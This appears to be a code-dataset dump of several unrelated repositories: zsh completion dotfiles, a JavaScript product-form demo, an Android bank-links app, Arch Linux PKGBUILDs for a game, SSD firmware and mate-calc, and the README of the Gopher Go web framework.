PATH="$(prepend_path "$HOME/.bin" $PATH)" PATH="$(prepend_path "$HOME/.local/bin" $PATH)" PATH="$(prepend_path "$HOME/.local/share/nvim/mason/bin" $PATH)" export PATH unset -f prepend_path <file_sep>/.zsh/autoload/02_completion.sh #! /usr/bin/env zsh # Never prompt unless completions scroll more than one page. LISTMAX=0 # Don't cycle through options. setopt no_auto_menu # Do partial completions. setopt completeinword setopt complete_aliases # Show command descriptions. zstyle ':completion:*' verbose true # On partial completions, highlight the character creating ambiguity. zstyle ':completion:*' show-ambiguity "4;$color[fg-yellow]" # Tab always autocompletes, never inserts a character. zstyle ':completion:*' insert-tab false # Caching completion results. autoload -Uz compinit && compinit zstyle ':completion:*' use-cache on zstyle ':completion:*' cache-path ~/.zsh/cache # Highlight completions for various commands. zstyle ':completion:*' list-colors ${(s.:.)LS_COLORS} zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,cmd' zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31' <file_sep>/.zsh/.zprofile #! /usr/bin/env zsh # Load any common login shell settings if present. [ -r ~/.sh_profile ] && source ~/.sh_profile
d6d617959c61f12c68ed2ff8c6f96b6c04942762
[ "INI", "Shell" ]
11
Shell
alexcepoi/dotfiles
43cc5e9009f26d4d887cad0eccc44d04623c8ade
7014c98ffe401c58f2a373fcabac7b0a52fa925a
refs/heads/master
<file_sep>//aplicando POO en JS //Clase: PRODUCTO //Propiedades: nombre - precio - año creacion //Metodos: listar productos- guardar productos - eliminar producto -... class Product { constructor(name, price, year){ this.name=name; this.price=price; this.year=year; } } //Clase de la interfas class UI{ //metodo agregar producto - el cual recibe un objeto producto addProduct(product){ // const productList = document.getElementById('product-list'); //creo el elemento div const element = document.createElement('div'); //llenar elemento div element.innerHTML=` <div class="card text-center mb-4"> <div class="card-body"> <strong>Product</strong>:${product.name} <strong>Price</strong>:${product.price} <strong>Year</strong>:${product.year} <a href="#" class="btn btn-danger" name="delete">Delete</a> </div> </div> `; productList.appendChild(element); } //metodo para limpiar campos resetForm(){ document.getElementById('product-form').reset(); } //metodo eliminar producto deleteProduct(element){ if(element.name==='delete'){ element.parentElement.parentElement.parentElement.remove(); this.showMessage('producto eleminado con exito','danger'); } } //metodo mostrar mensaje showMessage(message, cssClass){ const div = document.createElement('div'); //agrego estas dos clases al div creado div.className=`alert alert-${cssClass} mt-2`; //agrego el mensaje dentro del div div.appendChild(document.createTextNode(message)); //mostrando en el DOM o en pantalla //selecciono todo el contenido de mi container const container = document.querySelector('.container'); //selecciono todo el contenido de mi app const app = document.querySelector('#App'); //voy a insertar el div antes del app container.insertBefore(div, app); // setTimeout(function(){ document.querySelector('.alert').remove(); },3000); } } //Eventos del DOM //capturar el evento del submit document.getElementById('product-form').addEventListener('submit', function(e){ const name=document.getElementById('name').value; const price=document.getElementById('price').value; const year=document.getElementById('year').value; console.log(name, price, year); //instancia de la clase PRODUCT, para acceder a sus metodos, propiedades, etc const product=new Product(name, price, year); const ui = new UI(); if(name===''|| price==='' || year===''){ return ui.showMessage('complete los campos vacios','warning'); } //instancia de la clase UI, para acceder a sus metodos, propiedades, etc. ui.addProduct(product); ui.resetForm(); ui.showMessage('prodcuto agregado satisfactoriamente', 'success') //evento para que no se refresque la pagina al presionar el boton submit e.preventDefault(); }); //capturar el evento de Eliminar document.getElementById('product-list').addEventListener('click', function(e){ const ui = new UI(); ui.deleteProduct(e.target); }); <file_sep># POO-Js practicando POO con javaScript
0dc320d8822e58b670b6ac011ae8028d65bfc3aa
[ "JavaScript", "Markdown" ]
2
JavaScript
codeAlfred/POO-Js
07e218e0d004ec3792452e43731f72cba4b48cf4
6f4ad9a73d73f15cfb336e4c9bf3366f167d1ffd
refs/heads/master
<repo_name>Malyka21/MyLocalBanks<file_sep>/app/src/main/java/sg/edu/rp/c346/id20047536/mylocalbanks/MainActivity.java package sg.edu.rp.c346.id20047536.mylocalbanks; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.graphics.Color; import android.net.Uri; import android.os.Bundle; import android.view.ContextMenu; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends AppCompatActivity { TextView tvTranslatedText, tvTranslatedText2, tvTranslatedText3; String Option1 = ""; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tvTranslatedText = findViewById(R.id.TextDBS); tvTranslatedText2 = findViewById(R.id.TextOCBC); tvTranslatedText3 = findViewById(R.id.TextUOB); registerForContextMenu(tvTranslatedText); registerForContextMenu(tvTranslatedText2); registerForContextMenu(tvTranslatedText3); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.menu,menu); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(@NonNull MenuItem item) { if(item.getItemId() == R.id.EnglishSelection){ tvTranslatedText.setText("DBS"); tvTranslatedText2.setText("OCBC"); tvTranslatedText3.setText("UOB"); } else if(item.getItemId() == R.id.ChineseSelection){ tvTranslatedText.setText("星展银行"); tvTranslatedText2.setText("华侨银行"); tvTranslatedText3.setText("大华银行"); } return super.onOptionsItemSelected(item); } @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) { if(v == tvTranslatedText){ Option1 = "DBS"; menu.add(0,0,0,"Website"); menu.add(0,1,1,"Call The Bank"); menu.add(0,2,2,"Favourite"); } else if(v == tvTranslatedText2){ Option1 = "OCBC"; menu.add(0,0,0,"Website"); menu.add(0,1,1,"Call The Bank"); menu.add(0,2,2,"Favourite"); } else if(v == tvTranslatedText3){ Option1 = "UOB"; menu.add(0,0,0,"Website"); menu.add(0,1,1,"Call The Bank"); menu.add(0,2,2,"Favourite"); } super.onCreateContextMenu(menu, v, menuInfo); } @Override public boolean onContextItemSelected(@NonNull MenuItem item) { if (Option1 == "DBS"){ if (item.getItemId() == 0){ Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.dbs.com.sg")); startActivity(i); } else if (item.getItemId() == 1){ Intent i = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:" + "1800111111")); startActivity(i); } else if (item.getItemId() == 2){ if(tvTranslatedText.getCurrentTextColor() == Color.BLACK){ tvTranslatedText.setTextColor(Color.RED); } else if(tvTranslatedText.getCurrentTextColor() == Color.RED){ tvTranslatedText.setTextColor(Color.BLACK); } } } else if (Option1 == "OCBC"){ if (item.getItemId() == 0){ Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.ocbc.com")); startActivity(i); } else if (item.getItemId() == 1){ Intent i = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:" + "18003633333")); startActivity(i); } else if (item.getItemId() == 2){ if(tvTranslatedText2.getCurrentTextColor() == Color.BLACK){ tvTranslatedText2.setTextColor(Color.RED); } else if(tvTranslatedText2.getCurrentTextColor() == Color.RED){ tvTranslatedText2.setTextColor(Color.BLACK); } } } else if (Option1 == "UOB"){ if (item.getItemId() == 0){ Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.uob.com.sg")); startActivity(i); } else if (item.getItemId() == 1){ Intent i = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:" + "18002222121")); startActivity(i); } else if (item.getItemId() == 2){ if(tvTranslatedText3.getCurrentTextColor() == Color.BLACK){ tvTranslatedText3.setTextColor(Color.RED); } else if(tvTranslatedText3.getCurrentTextColor() == Color.RED){ tvTranslatedText3.setTextColor(Color.BLACK); } } } return super.onContextItemSelected(item); } }
3c8de692ad3695c0cb4b5397b3042e0d7a07e1ad
[ "Java" ]
1
Java
Malyka21/MyLocalBanks
5a4ccb6e279c05d01585c671f3372582bc0b1fa4
d3febb8dc1c577fd1725421e9571965480d29fe8
refs/heads/master
<repo_name>PBurdelak/praktyki<file_sep>/praktyki_zad1/src/main/java/pl/zad1/service/DokumentService.java package pl.zad1.service; import pl.zad1.model.Dokument; import pl.zad1.model.PozDokument; import java.util.List; public interface DokumentService { Dokument save (Dokument dokument); List<Dokument> findAll(); Dokument findById(int id); Dokument addPoz(PozDokument pozDokument, int idDok); void deleteDok(int id); }<file_sep>/praktyki_zad1/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>pl.praktyki</groupId> <artifactId>Zad1</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <dependencies> <!-- Spring and Transactions --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-entitymanager</artifactId> <version>5.2.2.Final</version> </dependency> <!-- Spring ORM support --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.5</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>provided</scope> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.5.0</version> </dependency> <dependency> <groupId>com.microsoft.sqlserver</groupId> <artifactId>sqljdbc4</artifactId> <version>4.2</version> </dependency> </dependencies> </project><file_sep>/praktyki_zad1/src/main/java/pl/zad1/dao/PozDokumentDAO.java package pl.zad1.dao; import pl.zad1.model.PozDokument; /** * Created by Praktyki on 2016-08-24. */ public interface PozDokumentDAO { PozDokument findByIdPozDok(int id); void deletePoz(int id); } <file_sep>/praktyki_zad1/src/main/java/pl/zad1/controller/KontrahentController.java package pl.zad1.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import pl.zad1.service.KontrahentService; /** * Created by Praktyki on 2016-08-18. */ @Controller public class KontrahentController { @Autowired private KontrahentService kontrahentService; @RequestMapping(value = "Kontrahent") public String defKontrahent() { return "Kontrahent"; } } <file_sep>/praktyki_zad1/src/main/java/pl/zad1/service/KontrahentService.java package pl.zad1.service; import pl.zad1.model.Kontrahent; import java.util.List; /** * Created by Praktyki on 2016-08-16. */ public interface KontrahentService { Kontrahent save(Kontrahent kontrahent); List<Kontrahent> findAll(); Kontrahent findById(int id); void delete(int id); } <file_sep>/praktyki_zad1/target/Zad1-1.0-SNAPSHOT/resources/js/app.js 'use strict'; var myApp = angular.module('myApp',['ui.router']); myApp.config(function($stateProvider, $urlRouterProvider){ $urlRouterProvider.otherwise('/Dokument'); $stateProvider .state('Dokument',{ url: '/Dokument', templateUrl: 'Dokument.html' }) .state('Kontrahent',{ url: '/Kontrahent', templateUrl: 'Kontrahent.html' }); });<file_sep>/praktyki_zad1/src/main/java/pl/zad1/dao/DokumentDAOImpl.java package pl.zad1.dao; import org.springframework.stereotype.Repository; import pl.zad1.model.Dokument; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.TypedQuery; import java.util.List; /** * Created by Praktyki on 2016-08-16. */ @Repository("dokumentDAO") public class DokumentDAOImpl implements DokumentDAO { @PersistenceContext private EntityManager em; public Dokument save(Dokument dokument) { em.persist(dokument); em.flush(); return dokument; } public List<Dokument> findAll(){ TypedQuery<Dokument> query = em.createQuery("SELECT d FROM Dokument d", Dokument.class); return query.getResultList(); } public Dokument findById(int id){ TypedQuery<Dokument> query = em.createQuery("SELECT d FROM Dokument d where d.id = :id", Dokument.class).setParameter("id",id); return query.getResultList().get(0); } public void deleteDok(int id){ Dokument dokument = findById(id); dokument.setOdbiorca(null); dokument.setPlatnik(null); em.remove(dokument); } } <file_sep>/praktyki_zad1/src/main/java/pl/zad1/service/PozDokumentService.java package pl.zad1.service; import pl.zad1.model.PozDokument; /** * Created by Praktyki on 2016-08-24. */ public interface PozDokumentService { PozDokument findByIdPozDok(int id); void deletePoz(int id); }
d84495b3283dbe1ab8e4651e507e53c117e15fd3
[ "JavaScript", "Java", "Maven POM" ]
8
Java
PBurdelak/praktyki
8323619136c209b5a86c98cf1e086d27a8c9be8a
1c111504195a22d705c8e516d381b995d8aa4be0
refs/heads/master
<file_sep># Maintainer: <NAME> <<EMAIL>> pkgname=surgeonsimulator2013 pkgver=1.1 pkgrel=4 pkgdesc="Poor Bob fell off his toilet, resulting in urgent need for a heart transplant." url="http://gamejam.bossastudios.com/" license="custom" makedepends=('unzip') depends=('libgl' 'libxcursor') arch=('i686' 'x86_64') _arch=$(uname -m) source=('http://gamejam.bossastudios.com/builds/surgeonsimulator2013_linux.zip' 'http://aur-includes.googlecode.com/git/surgeonsimulator2013/includes.tar.gz') options=(!strip) install=$pkgname.install md5sums=('48d899ccded5f7d1b88f70c2ef7f28dc' '0a22cb563626fb981aba041b7ef44b5f') build() { install -d $pkgdir/usr/share/$pkgname install -d $pkgdir/usr/bin } package() { cd $srcdir mkdir -p $pkgdir/usr/share/$pkgname cp -r $srcdir/SurgeonSimulator2013_Data $pkgdir/usr/share/$pkgname/ if [ ${_arch} = "i686" ]; then cp SurgeonSimulator2013.x86 $pkgdir/usr/share/$pkgname/ echo '#!/bin/sh' > $pkgdir/usr/bin/surgeonsimulator2013; echo "/usr/share/$pkgname/SurgeonSimulator2013.x86" >> $pkgdir/usr/bin/surgeonsimulator2013; elif [ ${_arch} = "x86_64" ]; then cp SurgeonSimulator2013.x86_64 $pkgdir/usr/share/$pkgname/ echo '#!/bin/sh' > $pkgdir/usr/bin/surgeonsimulator2013; echo "/usr/share/$pkgname/SurgeonSimulator2013.x86_64" >> $pkgdir/usr/bin/surgeonsimulator2013; fi chmod +x $pkgdir/usr/bin/surgeonsimulator2013 cd $srcdir/surgeon-sim install -Dm644 ${_pkgname}.png ${pkgdir}/usr/share/icons/hicolor/64x64/apps/${_pkgname}.png install -Dm644 ${_pkgname}.desktop ${pkgdir}/usr/share/applications/${_pkgname}.desktop } <file_sep># Contributor: <NAME> <<EMAIL>> pkgname=chronos-firmware pkgver=5.0.4 _srcver=504 _ffpver=5-0-4 pkgrel=2 pkgdesc="Mushkin FW for Chronos, Chronos deluxe, and Chronos MX Sandforce SF-2200 SSDs" arch=('i686' 'x86_64') url="http://www.mushkin.com/Digital-Storage/SSDs.aspx" license=('unknown') optdepends=('sandforce-updater: flash firmware') makedepends=('unzip' 'gzip') install=$pkgname.install source=(http://www.mushkin.com/App_Themes/Firmware/Mushkin_Chronos_Chronos_Deluxe_${_srcver}_FW_Update.zip http://aur-includes.googlecode.com/git/chronos-firmware/includes.tar.gz) md5sums=('b6d22c2343678741344288e9724751a0' '3a8f37a7e2b2e882982b74884eacaa66') package() { cd "$srcdir/Mushkin_Chronos_Chronos_Deluxe_${_srcver}_FW_Update" # Install binary mkdir -p "${pkgdir}/usr/share/${pkgname}" install -m644 MKN_FW_${_ffpver}.ffp "${pkgdir}/usr/share/${pkgname}" cd "$srcdir/mkn-launcher" # Install pixmap and .desktop file install -Dm644 "mushkin_file.png" "${pkgdir}/usr/share/pixmaps/mushkin_file.png" install -Dm644 "chronos-firmware.desktop" "${pkgdir}/usr/share/applications/${pkgname}.desktop" } <file_sep>Before upgrading the firmware, be sure to back up important data to a separate storage medium. Complete data loss may occur as a result of the firmware update process! 1. After downloading the firmware installation package, extract the zip file. If you are running Windows OS, browse to the extracted folder and launch Mushkin_FieldUpdater.exe with admin- istrative privileges. If SF_FieldUpdater is not launched with administrative privileges, the Chronos SSD(s) will not be dis- covered by the updater. If running Linux, launch Mushkin_FieldUpdater_v1.3_FC14-32Bit or Mushkin_FieldUpdater_v1.3_FC12-64Bit. 2. Once the updater application is launched, the Chronos SSD(s) should be discovered in the window. Check the box beside the drive you want to update. Select the button "Update Firmware" on the bottom left and browse for the MKN_FW_5-0-4.ffp file. 3. The updater should find the fw file, click the fw file to highlight it then click "Open" at the bottom right of the window. You will then received a warning message. Click "Proceed" to continue flashing the firmware. 4. The system may automatically reboot after the firmware update is complete. If it does not reboot after 5 minutes. Shut the machine down and restart. Congratulations, your Chronos SSD is now updated! <file_sep># Maintainer: stealthy <<EMAIL>> # Contributor: <NAME> <<EMAIL>> pkgname=mate-calc pkgver=1.5.1 pkgrel=1 pkgdesc="Calculator for the Mate desktop environment" arch=('i686' 'x86_64') url="https://github.com/mate-desktop/mate-calc" license=('LGPL' 'GPL') groups=('mate-extra') depends=('gtk2' 'libxml2' 'libpng' 'freetype2' 'flex' 'bison' 'pixman' 'glib2' 'pango' 'gdk-pixbuf2' 'cairo' 'atk') makedepends=('mate-common') provides=('mate-calc') conflicts=('matecalc-git') source=('https://aur-includes.googlecode.com/git/mate-calc/mate-calc-1.5.1.tar.gz') md5sums=('ccfa99ae997ae0c1c0b845db36959680') install=mate-calc.install build() { cd "$srcdir/mate-calc" ./autogen.sh --prefix="/usr" } package() { cd "$srcdir/mate-calc" make DESTDIR="$pkgdir/" install }
830197131a4ee365587921d94583b31262792645
[ "Text", "Shell" ]
4
Shell
acidburn0zzz/aur-includes
86e0778a1284cee576487a1768c6715edb4bef32
99feffbbd902aac0870f3150a2e590d89c49ad6b
refs/heads/master
<repo_name>jmarkicg/tetris<file_sep>/main.py matrix = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] end = 0 y = 0 x = 0 def draw_matrix(): for i in range(5): for j in range(5): if matrix[i][j] == 1: led.plot(i, j) else: led.unplot(i, j) def animate_tetris_dot(): global x, y led.plot(x, y) basic.pause(700) led.unplot(x, y) def end_of_game(): basic.show_icon(IconNames.SAD) def on_forever(): global end, x, y if end == 1: end_of_game() else: x = randint(0, 4) y = 0 while y < 5: draw_matrix() animate_tetris_dot() if matrix[x][y+1] == 0 and y != 4: y = y + 1 elif y == 0: end = 1 break else: matrix[x][y] = 1 break def on_button_pressed_a(): global x x = x - 1 if x < 0: x = 0 def on_button_pressed_b(): global x x = x + 1 if x > 4: x = 4 def restart(): global x, y, matrix, end end = 0 y = 0 x = 0 matrix = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] on_forever() input.on_button_pressed(Button.A, on_button_pressed_a) input.on_button_pressed(Button.B, on_button_pressed_b) input.on_button_pressed(Button.AB, restart) basic.forever(on_forever) <file_sep>/main.ts let matrix = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] let end = 0 let y = 0 let x = 0 function draw_matrix() { for (let i = 0; i < 5; i++) { for (let j = 0; j < 5; j++) { if (matrix[i][j] == 1) { led.plot(i, j) } else { led.unplot(i, j) } } } } function animate_tetris_dot() { led.plot(x, y) basic.pause(700) led.unplot(x, y) } function end_of_game() { basic.showIcon(IconNames.Sad) } function on_forever() { if (end == 1) { end_of_game() } else { x = randint(0, 4) y = 0 while (y < 5) { draw_matrix() animate_tetris_dot() if (matrix[x][y + 1] == 0 && y != 4) { y = y + 1 } else if (y == 0) { end = 1 break } else { matrix[x][y] = 1 break } } } } input.onButtonPressed(Button.A, function on_button_pressed_a() { x = x - 1 if (x < 0) { x = 0 } }) input.onButtonPressed(Button.B, function on_button_pressed_b() { x = x + 1 if (x > 4) { x = 4 } }) input.onButtonPressed(Button.AB, function restart() { end = 0 y = 0 x = 0 matrix = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]] on_forever() }) basic.forever(on_forever)
c23bc475e5d6c362da8f79b424349ae309998161
[ "Python", "TypeScript" ]
2
Python
jmarkicg/tetris
cab72d7f3f183b05d767e84fbb57b2eeb68ab7ec
c6a13c109f725c2a7cd74afd356fe047f0a948bf
refs/heads/master
<repo_name>forkkit/gopher<file_sep>/gopher_test.go package gopher import "testing" func TestNewApp(t *testing.T) { App.Config() if Render == nil { t.Error("Expected to get a pointer to Render, but got nil instead") } } <file_sep>/README.md # Gopher > Gopher is a modern, light weight, and extensible web framework for Go [![Build Status](https://travis-ci.org/gopherlabs/gopher.svg)](https://travis-ci.org/gopherlabs/gopher) [![License](http://img.shields.io/:license-mit-blue.svg)](http://doge.mit-license.org) [![Coverage Status](https://img.shields.io/coveralls/gopherlabs/gopher.svg)](https://coveralls.io/r/gopherlabs/gopher) [![GoDoc](https://godoc.org/github.com/gopherlabs/gopher?status.svg)](https://godoc.org/github.com/gopherlabs/gopher) [![Made with heart](https://img.shields.io/badge/made%20with-%E2%99%A5-orange.svg)](https://github.com/ricardo-rossi) [![Join the chat at https://gitter.im/gopherlabs/gopher](https://img.shields.io/badge/GITTER-join%20chat-green.svg)](https://gitter.im/gopherlabs/gopher?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) ```go Route.Get("/", func(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, Gopher!") }) ListenAndServe() ``` ```awk > go run server.go INFO[0000] |----------------------------------------| INFO[0000] | _____ INFO[0000] | / ____| | | INFO[0000] | | | __ ___ _ __ | |__ ___ _ __ INFO[0000] | | | |_ |/ _ \| '_ \| '_ \ / _ \ '__| INFO[0000] | | |__| | (_) | |_) | | | | __/ | INFO[0000] | \_____|\___/| .__/|_| |_|\___|_| INFO[0000] | | | INFO[0000] | |_| INFO[0000] |----------------------------------------| INFO[0000] | GOPHER READY FOR ACTION ON PORT 3000 INFO[0000] |----------------------------------------| ``` ```awk > curl http://localhost:3000/ Hello, Gopher! ``` **Want live code reload?** Use either [gin](https://github.com/codegangsta/gin) or [fresh](https://github.com/pilu/fresh) to live reload Gopher apps. ## Table of Contents * [Overview](#overview) * [Heroic Features](#heroic-features) * [Getting Started](#getting-started) * [The Basics](#the-basics) * [Routing](#routing) * [Routing Overview](#routing-overview) * [Request Handlers](#request-handlers) * [Route Verbs](#route-verbs) * [Multiple Verbs](#multiple-verbs) * [Route Variables](#route-variables) * [Route Groups](#route-groups) * [Serving Static Files](#serving-static-files) * [Not Found Route](#not-found-route) * [Routing Configuration](#routing-configuration) * [Middleware](#middleware) * [Middleware &amp; the Request-Response Lifecycle](#middleware--the-request-response-lifecycle) * [Application-level Middleware](#application-level-middleware) * [Router-level Middleware](#router-level-middleware) * [RouteGroup-level Middleware](#routegroup-level-middleware) * [Route-level Middleware](#route-level-middleware) * [Built-in Middleware](#built-in-middleware) * [Context](#context) * [Logging](#logging) * [Logging Overview](#logging-overview) * [Log Levels](#log-levels) * [Logging Configuration](#logging-configuration) * [Views &amp; Templates](#views--templates) * [Responses](#responses) []([Architecture](#architecture)[IoC Container](#ioc-container)[Contracts](#contracts)[Facades](#facades)[Service Providers](#service-providers)) []([Advanced Topics](#advanced-topics)[Creating Service Providers](#creating-service-providers)[Custom Bootstrapping](#custom-bootstrapping)[API Documentation](#api-documentation)[Performance &amp; Benchmarks](#performance--benchmarks)) * [Roadmap](#roadmap) * [Frequently Asked Questions](#frequently-asked-questions) * [Support](#support) * [Contribution Guide](#contribution-guide) * [Authors](#authors) * [License](#license) ## Overview //TODO ## Heroic Features * **Simple**: Straightforward, clean *Idiomatic* Go syntax. * **Intuitive**: Beautiful APIs for maximum coding happiness and productivity. * **Exposed**: No reflection, dependency injection, or hidden magic. Just clean Go interfaces. * **Modern**: Features an IoC Container, nested Middleware, flexible Routing, and more. * **Extensible**: Easy to add Service Providers or even replace the built-in ones. * **Comprehensive**: Routing, Handlers, Middleware, Logging, Views, and much more. * **Speedy**: Gopher is blazing fast. See our benchmarks. * **Documented**: Thoroughly detailed APIs ## Getting Started Let's create our first "Hello, Gopher!" example. #### 1. Install Gopher 1. [Install Go](https://golang.org/dl/) and set your [GOPATH](http://golang.org/doc/code.html#GOPATH) (if you haven't already). 2. Then, from your GOPATH, type this to install Gopher and its dependencies: ``` go get github.com/gopherlabs/gopher ``` #### 2. Create your server.go file ```go package main import ( "net/http" . "github.com/gopherlabs/gopher" ) func main() { Route.Get("/", func(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, Gopher!") }) ListenAndServe() } ``` See this example at: [routes/01_hello.go](https://github.com/gopherlabs/gopher-examples/blob/master/routes/01_hello.go) > **NOTE:** Only for the purpose of syntax clarity, the example above uses the dot import notation as in: `import . "github.com/gopherlabs/gopher"` It should be noted, however, that the Go team does not recommend using the dot import since it can cause some odd behaviour in certain cases. #### 3. Run your server ```shell go run server.go ``` You will now have a Gopher web server running on localhost:3000 (default port) and you should see the following output: ```awk INFO[0000] |----------------------------------------| INFO[0000] | LOADING SERVICE PROVIDERS ... INFO[0000] |----------------------------------------| INFO[0000] | * LOGGER ✓ INFO[0000] | * MAPPER ✓ INFO[0000] | * ROUTER ✓ INFO[0000] | * RENDERER ✓ INFO[0000] |----------------------------------------| INFO[0000] | _____ INFO[0000] | / ____| | | INFO[0000] | | | __ ___ _ __ | |__ ___ _ __ INFO[0000] | | | |_ |/ _ \| '_ \| '_ \ / _ \ '__| INFO[0000] | | |__| | (_) | |_) | | | | __/ | INFO[0000] | \_____|\___/| .__/|_| |_|\___|_| INFO[0000] | | | INFO[0000] | |_| INFO[0000] |----------------------------------------| INFO[0000] | GOPHER READY FOR ACTION ON PORT 3000 INFO[0000] |----------------------------------------| ``` #### 4. Now, try it! ```awk > curl http://localhost:3000/ Hello, Gopher! ``` Awesome, it worked! Next, let's take a look at some of the basic concepts of Gopher: # The Basics ## Routing #### Routing Overview You will define the routes for your application using the Route instance, which is satisfies the [*Routable*](https://godoc.org/github.com/gopherlabs/gopher-framework#Routable) interface. The most basic Gopher routes simply accept a URI and a Closure as in: ```go Route.Get("/", func(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, Gopher!") }) ``` #### Request Handlers Although you can use Closures as in the example above, it is often more practical to encapsulate the request handling logic in handler functions which can be reused between routes: ```go func main() { Route.Get("/hello", HelloHandler) ListenAndServe() } func HelloHandler(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, Handler!") } ``` #### Route Verbs Gopher provides routing methods to handle every specific http verb: ```go func main() { Route.Get("/products", VerbHandler) Route.Post("/form", VerbHandler) Route.Put("/update", VerbHandler) Route.Delete("/etc", VerbHandler) Route.Head("/etc", VerbHandler) Route.Options("/etc", VerbHandler) ListenAndServe() } func VerbHandler(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, "+r.Method) } ``` #### Multiple Verbs Sometimes you may need to register a route that responds to multiple HTTP verbs. You may do so using the [*Match()*](https://godoc.org/github.com/gopherlabs/gopher-framework#RouteFacade.Match) method of the [Route Facade](https://godoc.org/github.com/gopherlabs/gopher-framework#RouteFacade) as shown on this example: ```go Route.Match("/hello", MatchHandler, []string{"GET", "POST", "PUT"}) ``` Or, you may even register a route that responds to all HTTP verbs using the [*All()*](https://godoc.org/github.com/gopherlabs/gopher-framework#RouteFacade.All) method: ```go Route.All("/", AllHandler) ``` #### Route Variables Sometimes you will need to capture segments of the URI within your route. You may do so by defining route variables. Route variables are always encased within "curly" braces. They are defined using the format *{name}* or *{name:pattern}* For example, you may need to capture a user's ID from the URL: ```go Route.Get("user/{id}", func(w http.ResponseWriter, r *http.Request) { Render.Text(w, "User: "+Route.Var(r, "id")) }) ``` You may define as many route parameters as required by your route: ```go Route.Get("posts/{post}/comments/{comment}", func(w http.ResponseWriter, r *http.Request) { // The entire map of route variables can be retrieved calling Route.Vars() }) ``` #### Route Groups Route groups allow you to share route attributes (such as path prefixes, hosts, methods, etc) across a large number of routes without needing to define those attributes on each individual routes. ```go RouteGroup.New(matcher GroupMatcher) Routable ``` Shared attributes are passed as type `GroupMatcher` as the first parameter to `RouteGroup.New()`. ```go type GroupMatcher struct { Host string PathPrefix string Methods []string Queries []string Schemes []string } ``` **Route Prefixes** The `PathPrefix` attribute may be used to prefix each route in the group with a given URI. For example, you may want to prefix all route URIs within the group with */products*: ```go group := RouteGroup.New(GroupMatcher{ PathPrefix: "/products", }) group.Get("/item", func(rw http.ResponseWriter, req *http.Request) { Render.Text(rw, "Hello Item!") }) ``` In this example, the */item* route inherits all the route attributes of its parent *RouteGroup*, such as its path prefix: ```awk > curl http://localhost:3000/products/item Hello Item! ``` #### Serving Static Files Serving files, such as images, CSS, JavaScript and other static files is accomplished with the help of the `Route.Static()` API. ```go Route.Static(path string, dir string) ``` Where: * `path` is path prefix for the files served by Gopher. * `dir` the name of the directory, which is to be used as the location of static assets. For example, if you keep your images, CSS, and JavaScript files in a directory named public, you can do this: ```go Route.Static("/static", "./public") ``` Now, you will be able to load the files under the public directory, from the path prefix "/static". ``` http://localhost:3000/static/images/kitten.jpg http://localhost:3000/static/css/style.css http://localhost:3000/static/js/app.js http://localhost:3000/static/images/bg.png http://localhost:3000/static/hello.html ``` #### Not Found Route Using `Route.NotFound()`, you may register an error handler that handles all "404 Not Found" errors in your application, allowing you to easily return custom 404 error pages, or execute any code 